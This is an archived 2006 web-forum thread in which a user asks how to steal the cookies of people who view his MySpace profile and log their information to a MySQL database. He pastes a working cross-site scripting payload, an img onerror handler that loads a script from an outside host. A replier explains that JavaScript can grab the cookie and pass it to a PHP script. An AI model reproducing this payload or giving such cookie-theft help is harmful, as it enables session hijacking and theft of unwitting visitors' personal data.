chasebadkids Posted September 29, 2006 Share Posted September 29, 2006 Okay guys so Ive got a javascript file that works on myspace and I want to figure out how to grab the viewers cookie and send its to a database and gets the users information that just viewed my profile and will output it for a user to view,how would I go about doing this?this is a working example[code]<img src="http://gif" z="<br />" onerror="var s=document.createElement('script');s.src='http://nightstarproductions.com/sqltrack.js';document.getElementsByTagName('head')[0].appendChild(s);"><br> </td>[/code]im basically looking on how i would setup something just like that. any and all help is appreciated Link to comment https://forums.phpfreaks.com/topic/22533-php-mysql-and-javascript/ Share on other sites More sharing options...
fenway Posted September 29, 2006 Share Posted September 29, 2006 That's going to be tricky with JS alone, since establishing an ODBC connection requires privileges... Link to comment https://forums.phpfreaks.com/topic/22533-php-mysql-and-javascript/#findComment-101164 Share on other sites More sharing options...
chasebadkids Posted September 29, 2006 Author Share Posted September 29, 2006 what do you mean by that?How do you think they went about doing it, i know he said he uses mysql and the javascript file. and in that javascript file it grabs information from the site, and sends it to the mysql, i just dont know how to setup the mysql that would grab the information correctly Link to comment https://forums.phpfreaks.com/topic/22533-php-mysql-and-javascript/#findComment-101181 Share on other sites More sharing options...
fenway Posted September 30, 2006 Share Posted September 30, 2006 Yes, but if you take a look at the JS, he's simply passing some parameters to a PHP script for processing. Link to comment https://forums.phpfreaks.com/topic/22533-php-mysql-and-javascript/#findComment-101417 Share on other sites More sharing options...
chasebadkids Posted September 30, 2006 Author Share Posted September 30, 2006 so what exactly does that mean Link to comment https://forums.phpfreaks.com/topic/22533-php-mysql-and-javascript/#findComment-101434 Share on other sites More sharing options...
fenway Posted September 30, 2006 Share Posted September 30, 2006 It means that you can use JS to pull the cookie, pass this info to a PHP script, and then do whatever you want to it. Link to comment https://forums.phpfreaks.com/topic/22533-php-mysql-and-javascript/#findComment-101585 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.